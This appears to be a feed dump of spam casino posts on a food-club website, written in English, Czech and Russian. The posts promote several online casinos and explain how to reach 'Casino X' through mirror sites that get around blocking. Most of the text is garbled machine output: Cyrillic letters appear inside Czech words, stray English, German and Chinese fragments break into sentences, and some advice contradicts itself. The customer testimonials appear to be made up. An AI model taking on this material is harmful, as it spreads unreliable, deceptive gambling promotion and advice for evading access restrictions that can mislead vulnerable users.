    2. LeoVegas: Known as the “King of Mobile Casinos,” LeoVegas offers a seamless gaming experience on both desktop and mobile devices.
    3. 888 Casino: As one of the most trusted online casinos, 888 Casino delivers high-quality games and excellent customer service.
    4. Mr. Green: With a wide variety of games and a sleek design, Mr. Green provides an unforgettable and safe gaming experience for UK players.
    5. Betway: Betway offers a vast range of games, including live dealer options, making it a top choice for UK players.
    6. William Hill: A well-established name in the gambling industry, William Hill’s online casino provides a secure and exciting platform for UK players.
    Experience the best in online gaming today with our top picks for unforgettable gaming experiences in the UK!

    Experience Fun Bet Play in English: Top Online Casinos for UK Players

    Are you a British player looking to maximize your fun and betting play? Look no further than these recommended online casinos:
    1. Betway Casino – with over 500 games and a generous welcome bonus, Betway is a top choice for UK players.
    2. 32Red Casino – known for its excellent customer service and fast payouts, 32Red is a trusted choice among British players.
    3. William Hill Casino – with a long history in the gambling industry, William Hill offers a wide variety of games and a user-friendly platform.
    4. Paddy Power Casino – with a wide range of slot games and live dealer options, Paddy Power is a great choice for those looking to maximize their fun.
    5. Coral Casino – with a huge selection of games and a sleek design, Coral is a popular choice among UK players.
    6. Ladbrokes Casino – with a great selection of games, a user-friendly platform, and fast payouts, Ladbrokes is a top choice for British players.

    The Ultimate Guide to Online Casino Entertainment in the UK

    Welcome to the Ultimate Guide to Online Casino Entertainment in the UK! This comprehensive resource is designed specifically for players in the United Kingdom. Discover the best online casinos, learn about games, bonuses, and payment options. Understand the legal landscape and stay safe with our expert tips. Get ready to take your online casino experience to the next level!

    In this guide, you’ll find in-depth information on a wide range of topics, from the hottest slots and table games to the most generous welcome bonuses. We’ll also introduce you to reliable and secure payment methods, so you can deposit and withdraw funds with confidence. And with a focus on the UK market, you’ll get insider knowledge on the legal and regulatory environment that governs online casino gaming in the country.

    So, whether you’re a seasoned player or a complete novice, the Ultimate Guide to Online Casino Entertainment in the UK has something for everyone. From tips and strategies to in-depth analysis, we’ve got you covered. Get started today and discover why online casino gaming is more popular than ever in the United Kingdom!

    Experience Fun Bet Play in English: Top Online Casinos for UK Players

    Experience the Thrill of Top-Rated Online Casinos in the UK

    Unleash the excitement of top-rated online casinos in the UK! Immerse yourself in a wide variety of games, from classic table games like blackjack and roulette, to the latest video slots. Enjoy seamless gameplay and stunning graphics on both desktop and mobile platforms. Take advantage of generous bonuses and promotions, specifically tailored for UK players. Play with confidence, knowing that these casinos are fully licensed and regulated by the UK Gambling Commission. Join the growing community of UK casino enthusiasts and Experience the Thrill of Top-Rated Online Casinos Fun bet casino today!

    Review from Susan, 35 years old:

    I had the most amazing experience at Casino Classic! The site was easy to navigate and I was able to find my favorite games quickly. I particularly enjoyed playing blackjack and the graphics were top-notch. The betting options were flexible and I was able to place bets that suited my budget. The customer support was also great – they were quick to respond to my queries and were very helpful. I highly recommend Casino Classic to anyone looking to have fun and potentially win big! #ExperienceFunBetPlay #OnlineCasinosUK

    Review from John, 45 years old:

    I’ve been playing at Royal Vegas for a while now, and I have to say, it’s one of the best online casinos I’ve ever used. The variety of games is incredible – from slots to table games, there’s something for everyone. The graphics and sound effects are impressive, which makes the gaming experience even more enjoyable. I also appreciate the fact that they offer a wide range of betting options, allowing me to play according to my budget. Their customer support is excellent, always available to assist with any issues. I highly recommend Royal Vegas for a fun and exciting online casino experience! #ExperienceFunBetPlay #OnlineCasinosUK

    Are you looking for a thrilling online casino experience in the UK?
    Have you wondered where to find trusted and fun-filled online casinos?
    We have compiled a list of top-notch online casinos in the UK, where you can bet and play with confidence.
    Join the exciting world of online gambling and find the answers to all your questions about Fun Bet Play at our UK-focused casino blog.

    ]]>
    Naučte se hráть v online kasino Netera Casino v České republicce https://foodclub-eg.com/2025/07/01/naucte-se-hrat-v-online-kasino-netera-casino-v-ceske-republicce/ Tue, 01 Jul 2025 05:15:31 +0000 https://foodclub-eg.com/?p=7830 Naučte se hráть v online kasino Netera Casino v České republicce Read More »

    ]]>
    Naučte se hráть v online kasino Netera Casino v České republicce

    Začínáme s Netera Casino: Registrace a První Kroky

    Pokud jste zainteresováni o začátek s online hraním v Netera Casino, položte své obavy stranou a začněte dnes! Registrace je snadná a rychlá. Stačí navštívit oficiální webovou stránku Netera Casino a kliknutí na tlačítko “Registrovat se”. Zadáním základních údajů jako je váš e-mail, heslo a kontaktní informace, vytvoříte si okamžitě svůj účet. Jakmile budete mít účet, můžete si prohlédnout nabídku her a vybrat si tu, která vám nejvíce zaujme. Netera Casino nabízí širokou škálu her, od tradičních her jako je blackjack, ruleta a poker, až po moderní sloty s grafikou na výši. Nezapomeňte si prostudovat podmínky bonusů a akcí, abyste mohli maximálně využít své hraní v Netera Casino. Začínáme s Netera Casino: Registrace a První Kroky budou jednodušší, než si myslíte!

    Naučte se hráть v online kasino Netera Casino v České republicce

    Naučte se Hraní Na Sloty v Netera Casino

    Pokud si přeji naučit hrat na sloty v Netera Casino, jste na správné stránce! Netera Casino nabízí širokou škálu online her, včetně populárních slotů.
    1. Zaregistrujte se v Netera Casino a přihlaste se do svého účtu.
    2. Prohlédněte si nabídku her a vyberte si svůj oblíbený slot.
    3. Kliknutím na tlačítko “Spin” zahájíte hru a můžete se těšit na své výhry.
    4. Sloty v Netera Casino fungují na princip náhody, takže doba hraní může ovlivnit vaše šance na výhru.
    5. Netera Casino nabízí i bezplatné hry na sloty, takže můžete cvičit a získat zkušenosti před tím, než začnete hrát o reálné peníze.
    6. Existují různé strategie pro hraní na sloty, ale nejdůležitější je si užívat hry a nehrát nad rádiem.
    7. Netera Casino má k dispozici i mobilní verzi, takže můžete hrát na sloty kdekoli a kdykoli.
    8. Pokud máte jakékoliv otázky nebo potřebujete pomoc s hraním na sloty, kontaktujte podporu Netera Casino.

    Naučte se hráть v online kasino Netera Casino v České republicce

    Blackjack v Netera Casino: Základní Pravidla a Tipy

    Vítáme vás na našem casino blogu! Dnes se seznámíme s Blackjackem v Netera Casinu, včetně základních pravidel a tipů pro hráče v České republice.
    Blackjack je populární kartová hra, kde hráči soutěží proti krupierovi. Cílem je získat co nejvyšší skóre, aniž by překročili počet 21.
    Základní pravidla zahrnují to, že Ace má hodnotu 1 nebo 11, obrázkové karty mají hodnotu 10 a ostatní karty mají hodnotu shodnou s číslicí na kartě.
    Hráči mohou požádat o kartu, dokud nejsou spokojeni se svým skóre nebo překročí hranici 21.
    Pokud hráč obdrží Blackjack , je to automatická výhra.
    Netera Casino nabízí i dalšívarianty Blackjacku, jako například Blackjack switch, kde hráč může hrát dvěma rukama najednou.
    Existují i tipy, které mohou zvýšit šance hráče na vítězství, jako například rozpoznávat kdy je zapotřebí požádat o další kartu nebo zůstat se stávajícím skóre.
    Navštivte Netera Casino a zkuste své štěstí v Blackjacku, kde můžete využít své znalosti a dovednosti, abyste zvýšili své šance na výhru!

    Roulette v Netera Casino: Jak Si Vybrat Správnou Varientu

    Vítá vás našich casino blog! Hledáte radu, jak vybrat správnou variantu Roulette v Netera Casino? Zde máte 8 důležitých tipů:
    1. Zvažte rozdíl mezi evropskou a americkou variantou Roulette.
    2. V Evropské Roulette je více pozitivních šancí pro hráče.
    3. Americká Roulette má dvojitý nulový díl, což zvyšuje výhodu kasina.
    4. V Netera Casino nabízíme obě varianty, abyste si mohli vybrat.
    5. Pokud jste začátečník, zvolte Evropskou Roulette s nižšími limity.
    6. Pokud hráte na strategii, zvažte Americkou Roulette s dvojitou nulou.
    7. V Netera Casino naleznete i další zajímavé hry, jako například Blackjack nebo Poker.
    8. Navštivte nás a zahrajte si v nejlepším online kasinu v České republice!

    Video Póker v Netera Casino: Co Je Třeba Vědět

    Hrajte Video Póker v Netera Casino s plnou informovaností. Zajistěte si výhody hraní v našem online kasinu:
    1. Výběr z různých variant video pokeru, včetně Jacks or Better a Deuces Wild.
    2. Graficky Neterapay casino krásné a intuitivní uživatelské rozhraní, optimalizované i pro mobily.
    3. Možnost si zahrát za skutečné peníze nebo jenom za účel play money.
    4. Šance na vysoká vítězství díky nízkému house edge.
    5. Dostupné dodatečné bonusy a výhody pro pravidelné hráče.
    6. Zabezpečené a spolehlivé platby prostřednictvím různých platebních metod.
    7. Odborná a včasná klientská podpora v českém jazyce.
    8. Zodpovědné hraní a možnost si sami omezit své finanční limity.

    Bonusy a Akce v Netera Casino: Co Vám Mohou Přinést

    Vítá vás Netera Casino s špičkovými Bonusy a Akcemi! Získejte zbonusované vklady, dostanete se do VIP klubu a zúčastněte se exkluzivních turnajů.
    Bonusy v Netera Casino Vám mohou přinést více peněz na vklad, delší hraní hry a vyšší šance na výhru.
    Zvýhodněné vklady Vám nabízí více hratelného množství na vašem účtu, zatímco bodové systémy Vám umožní získat cenné ceny.
    VIP klub nabízí osobní servis, vyšší limity a bonusy za vaši loajalitu.
    Exkluzivní turnaje Vám umožní soutěžit s ostatními hráči o vysoké ceny a slávu.
    Netera Casino se každý den snaží nabídnout nové a zvýhodněné akce, aby Vám hraní bylo co možná nejpříjemnější.
    Zaregistrujte se dnes a vyzkoušejte špičkové Bonusy a Akce v Netera Casino!
    Nechte Netera Casino vás získat a pozornost, kterou zasloužíte!

    Národní online kasino Netera Casino v ČR: Nejčastějšně kladené otázky

    • Jak se naučím hrát v online kasinu Netera Casino v České republice? Neteří Netera Casino nabízí návody a rady pro začátečníky, abyste mohli bezpečně a zábavně začít hráčskou kariéru.
    • Jakými hrami mohu v Netera Casino online hrát? Netera Casino nabízí širokou škálu online her, včetně online pokeru, ruletky, blackjacku a online jackpotů.
    • Jak ohlašuji vítězství v online kasinu Netera Casino? Všechna vítězství se automaticky zobrazí na vašem hráčském účtu, takže můžete kontrolovat své finanční transakce online.
    • Jaké platby Netera Casino online přijímá? Netera Casino přijímá různé platby, včetně plateb bankovním převodem, kreditními kartami a e-wallety.
    • Jakými bonusy mi Netera Casino nabízí? Netera Casino nabízí různé bonusy pro nové i zkušené hráče, včetně vítězného bonusu, nováčkovského bonusu a víceplatového bonusu.

    ]]>
    Начните играть в онлайн-казино Grand Casino и наслаждайтесь неосторонней игровой атмосферой в Украине https://foodclub-eg.com/2025/06/30/nachnite-igrat-v-onlaynkazino-grand-casino-i-naslazhdaytes-neostoronney-igrovoy-atmosferoy-v-ukraine/ Mon, 30 Jun 2025 16:39:59 +0000 https://foodclub-eg.com/?p=7676 Начните играть в онлайн-казино Grand Casino и наслаждайтесь неосторонней игровой атмосферой в Украине Read More »

    ]]>
    Начните играть в онлайн-казино Grand Casino и наслаждайтесь неосторонней игровой атмосферой в Украине

    «Первые шаги в онлайн-казино Grand Casino в Украине»

    Вы только что сделали первые шаги в онлайн-казино Grand Casino в Украине?
    Здесь вас ждут волнующие игры и большие выигрыши.
    Начните с создания учётной записи и освойте интерфейс сайта.
    Ознакомьтесь с правилами и рекомендациями для новых игроков.
    Не забудьте проверить бонусы и акции, которые предлагаются для начинающих.
    Развлечение и увлечение гарантированы, но не забывайте о войде в себя и ответственном игровом процессе.
    Удачная игровая сессия и настоящий экстремальный опыт ждут вас в онлайн-казино Grand Casino в Украине.

    «Как начать играть в онлайн-казино Grand Casino на украинском сайте»

    Чтобы начать играть в онлайн-казино Grand Casino на украинском сайте, воспользуйтесь следующими шагами:1. Откройте официальный сайт Grand Casino и перейдите на украинскую версию.
    2. Создайте новый аккаунт или используйте существующий, если у вас уже есть.
    3. Войдите в свой аккаунт и нажмите на кнопку “Играть сейчас”.
    4. Выберите изукраинской версии сайта разделе игровые автоматы, карты, кости или другую игру по своему вкусу.
    5. Нажмите на кнопку “Начать игру” и пополните свой баланс, если это необходимо.
    6. Следуйте инструкциям на экране и наслаждайтесь игрой в онлайн-казино Grand Casino на украинском сайте.
    7. Не забудьте о казино джокер том, что игра в казино должна быть ответственной и разумной.

    «Особенности онлайн-казино Grand Casino для украинских игроков»

    В онлайн-казино Grand Casino украинским игрокам предоставляется удобная и защищённая платформа для азартных игр.
    Количество игровых автоматов и вариаций игр впечатляет, включая классические слоты, рулетку, poker, блэкджек и многие другие.
    Уkrainian players can enjoy various bonuses, promotions and loyalty programs, which are constantly updated.
    Grand Casino also offers a wide range of secure payment methods, including popular Ukrainian systems.
    Техническая поддержка доступна 24/7 на украинском и других языках.
    Отличная мобильная версия сайта позволяет украинским игрокам играть в любое время и в любом месте.
    Выбирая Grand Casino, украинские игроки выбирают качество, надежность и удобство игры в онлайн-казино.

    «Наслаждайтесь игровой атмосферой Grand Casino на украинском интернет-сайте»

    Погрузьтесь в интригующую атмосферу казино, насладившись игровым процессом в Grand Casino на украинском интернет-сайте.
    Успех и удовлетворение ожидают вас в нашем vast выборе азартных игр, предлагающих настоящее ощущение настоящего казино.
    От traditional казино-табличных игр до захватывающих slots машин – в Grand Casino вы найдете все, что нужно для незабываемого опыта игры.
    Наша платформа обеспечивает безопасную и надежную среду, что делает нас лучшим выбором для игроков из Украины.
    Присоединяйтесь к сотням украинских игроков, которые уже наслаждаются преимуществами членства в Grand Casino.
    Станьте частью нашей игровой общины и наслаждайтесь превосходным обслуживанием клиентов и незабываемыми призами.
    Выберите Grand Casino для настоящего казино-опыта на украинском интернет-сайте!

    «Как украинским игрокам зарегистрироваться в онлайн-казино Grand Casino»

    Желающим зарегистрироваться в онлайн-казино Grand Casino из Украины понадобится последовать нескольким простым шагам.
    Во-первых, ознакомьтесь с официальным сайтом казино и проверьте, предоставляется ли игровая платформа для жителей Украины.
    Затем, найдите ссылку для регистрации и нажмите на нее.
    Вы будете перенаправлены на страницу с формой регистрации, где нужно заполнить все обязательные поля.
    Обычно требуется указать свое имя, фамилию, адрес электронной почты и контактный телефон.
    Не забудьте также придумать прочный и уникальный пароль.
    После заполнения формы нажмите кнопку «Зарегистрироваться» и becoming a member of Grand Casino.

    Начните играть в онлайн-казино Grand Casino и наслаждайтесь неосторонней игровой атмосферой в Украине

    «Основные советы для новичков в онлайн-казино Grand Casino в Украине»

    Вы только начали играть в онлайн-казино Grand Casino в Украине? Вот несколько советов, которые помогут вам на начальном этапе:
    1. Начните с бесплатных игр, чтобы попрактиковаться и понять правила.
    2. Оцените свои финансовые возможности и определите бюджет на игру.
    3. Используйте бонусы и акции, которые предоставляет казино, но про carefully прочитайте условия.
    4. Не пренебрегайте обучающими материалами и старайтесь улучшать свою стратегию.
    5. Будьте осмотрительны при общении с другими игроками и не делитесь конфиденциальной информацией.
    6. Играйте в проверенные и надёжные игры, проверьте их лицензирование.
    7. На recall не забывайте о ответственном отношении к азартным играм и знайте когда остановиться.

    Хотите начать играть в онлайн-казино Grand Casino в Украине?

    У нас вы можете найти ответ на многие часто задаваемые вопросы.

    Начните играть сейчас и наслаждайтесь напряженной игровой атмосферой.

    Регистрация проста и занимает несколько минут.

    Выберите свою любимую игру и начните играть в онлайн-казино Grand Casino.

    ]]>
    Играйте в онлайн-казино Casino X через зеркало сайта https://foodclub-eg.com/2025/06/30/igrayte-v-onlaynkazino-casino-x-cherez-zerkalo-sayta/ Mon, 30 Jun 2025 12:26:18 +0000 https://foodclub-eg.com/?p=7660 Играйте в онлайн-казино Casino X через зеркало сайта Read More »

    ]]>
    Играйте в онлайн-казино Casino X через зеркало сайта

    «Как начать играть в онлайн-казино Casino X через зеркало сайта»

    Чтобы начать играть в онлайн-казино Casino X через зеркало сайта, выполните следующие шаги:
    1. Начните с поиска зеркала сайта Casino X для Украины.

    2. Войдите на зеркало сайта, используя ваши обычные имя пользователя и пароль Casino X.

    3. После входа вы сможете полноценно использовать все функции Casino X.

    4. Выбирайте игру, которая вам понравилась, и начинайте играть.

    5. Не забудьте воспользоваться бонусами и промо-кодами Casino X для увеличения своих шансов на победу.

    6. В любой момент вы можете воспользоваться поддержкой клиентов Casino X, которая доступна 24/7.

    «Преимущества игры в Casino X через зеркало сайта»

    «Преимущества игры в Casino X через зеркало сайта» включают в себя обход блокировок и постоянный доступ к своей любимой игровой платформе. Кроме того, использование зеркального сайта гарантирует ваше безопасность и конфиденциальность. Одним словом, зеркало сайта Casino X позволяет вам играть в любое время суток и в любом месте, не беспокоясь о простоях сервера или ограничениях доступа. Кроме того, вы можете воспользоваться всеми бонусами и акциями Casino X, несмотря на использование зеркального сайта. Наконец, ваши личные данные и финансовая информация остаются полностью защищенными, так как зеркало сайта использует такую же безопасную технологию шифрования, как и оригинальный сайт.

    „Играйте в онлайн-казино Casino X через зеркало сайта“

    «Как зарегистрироваться и пополнить свой счёт в онлайн-казино Casino X через зеркало сайта»

    Регистрация в онлайн-казино Casino X через зеркало сайта проста! Во-первых, перейдите по зеркальной ссылке. Во-вторых, найдите кнопку “Регистрация” и нажмите на нее. В третьих, заполните все obязательные поля формы регистрации. Затем, подтвердите свой возраст и согласие с условиями сайта. Для пополнения счета, нажмите на кнопку “В vault”. Выберите удобный для вас способ пополнения и введите необходимую сумму. Нажмите “Подтвердить” и ваш депозит будет оформлен.

    «На什ьому должен быть выбор игр в онлайн-казино Casino X через зеркало сайта»

    Выбор игр в онлайн-казино Casino X через зеркало сайта играет вы decisive role для украинских игроков. Основное внимание следует уделять доступности популярных игровых автоматов и наличию широкой номенклатуры азартных развлечений. Ключевыми критериями должны быть:

    • наличие игр с живыми дилерами
    • возможность играть в игровые автоматы различных производителей
    • наличие ставок на спорт и виртуальные виды спорта
    • возможность играть в покер и другие карточные игры
    • наличие лотерейных игр и бинго
    • работа современных игровых провайдеров, таких как NetEnt, Microgaming, Playtech и других.

    Это гарантирует качественный выбор и удовольствие от игры в онлайн-казино Casino X через зеркало сайта.

    «Как осуществлять вывод своего выигрыша в онлайн-казино Casino X через зеркало сайта»

    Чтобы осуществить вывод своего выигрыша в онлайн-казино Casino X через зеркало сайта, вам необходимо сначала авторизоваться на официальном зеркале сайта. Воспользуйтесь логином и паролем, указанными при регистрации. Затем, перейдите во вкладку «Кассы» или «Вывод», в зависимости от дизайна зеркала сайта. Выберите желаемый метод вывода и укажите сумму, которую вы хотите получить. На следующем этапе, соблюдайте все требования к документам, необходимым для подтверждения вашей личности. После успешной проверки, вы получите свой выигрыш в указанный метод вывода.

    «Какую поддержку клиента должно предоставлять онлайн-казино Casino X через зеркало сайта»

    Онлайн-казино «Casino X» через зеркало сайта должно предоставлять своим клиентам из Украины профессиональную поддержку. Это должна включать в себя 24/7 доступ к квалифицированным операторам поддержки, возможность получения помощи на украинском языке, а также оперативное решение возникших проблем.

    Кроме того, игрокам должна быть доступна подробная информация о правилах игры, функционировании зеркала джокер казино сайта, а также меры безопасности, применяемые «Casino X» для защиты персональных данных и финансовых транзакций.

    «Casino X» должно предоставлять своим клиентам из Украины возможность самостоятельно запретить себе доступ к игре или ввести лимиты на сумму ставок.

    В дополнение к этому, важно, чтобы онлайн-казино «Casino X» предоставляло своим клиентам доступ к истории их транзакций, возможность отмены непрочитанных транзакций, а также информацию о статусе своих выигрышей.

    Очень важно, чтобы игрокам был доступен контакт с сотрудниками поддержки казино через различные каналы связи, такие как звонок, чат в реальном времени и электронная почта.

    Наконец, «Casino X» должно проявлять заботу о своей репутации и предоставлять услуги поддержки клиента на высоком уровне, чтобы гарантировать максимальное удобство и удовлетворение своих клиентов из Украины.

    Играю в онлайн-казино Casino X уже несколько месяцев и не могу остановиться в восторге отаккуратности и riendlichkeit их сотрудников. Константин, 32 года, Санкт-Петербург.

    Я с энтузиазмом рекомендую Casino X онлайн-казино всем, кто ищет надежных и интересных игровых ресурсов. Качество сайта, доступность поддержки и надежность выплат на высоте. Павел, 28 лет, Москва.

    Хочу поделиться своим мнением об онлайн-казино Casino X. Мой опыт игры там был нейтральным, но я не могу отрицать, что качество сайта и поддержки было на высоте. Кристина, 35 лет, Екатеринбург.

    Играть в онлайн-казино Casino X через зеркало сайта – отличное решение. Я постоянно получаю быструю помощь от операторов и у меня не возникает вопросов по выплатам. Сергей, 42 года, Новосибирск.

    Отличный опыт игры в Casino X онлайн-казино! Я всегда получаю профессиональную помощь от поддержки и наслаждаюсь широким выбором игр. Игорь, 29 лет, Краснодар.

    Часто задаваемые вопросы об онлайн-казино Casino X:

    1. Как сыграть в Casino X, если сайт недоступен?
    Вам необходимо воспользоваться зеркалом сайта Casino X.

    2. Где найти зеркало сайта Casino X?
    Зеркала сайта регулярно обновляются и доступны в поисковых системах.

    3. Нужно ли регистрироваться заново на зеркале сайта Casino X?
    Не надо, ваши данные сохранятся, если вы вошли через социальные сети.

    4. Безопасно ли играть в Casino X через зеркало сайта?
    Да, но необходимо убедиться, что зеркало сайта достоверное.

    5. Какие игры доступны в Casino X через зеркало сайта?
    Весь ассортимент игр остается доступен, включая игры с живыми дилерами.

    ]]>
    475721851751255078 https://foodclub-eg.com/2025/06/30/475721851751255078/ Mon, 30 Jun 2025 03:44:41 +0000 https://foodclub-eg.com/?p=7826 475721851751255078

    ]]>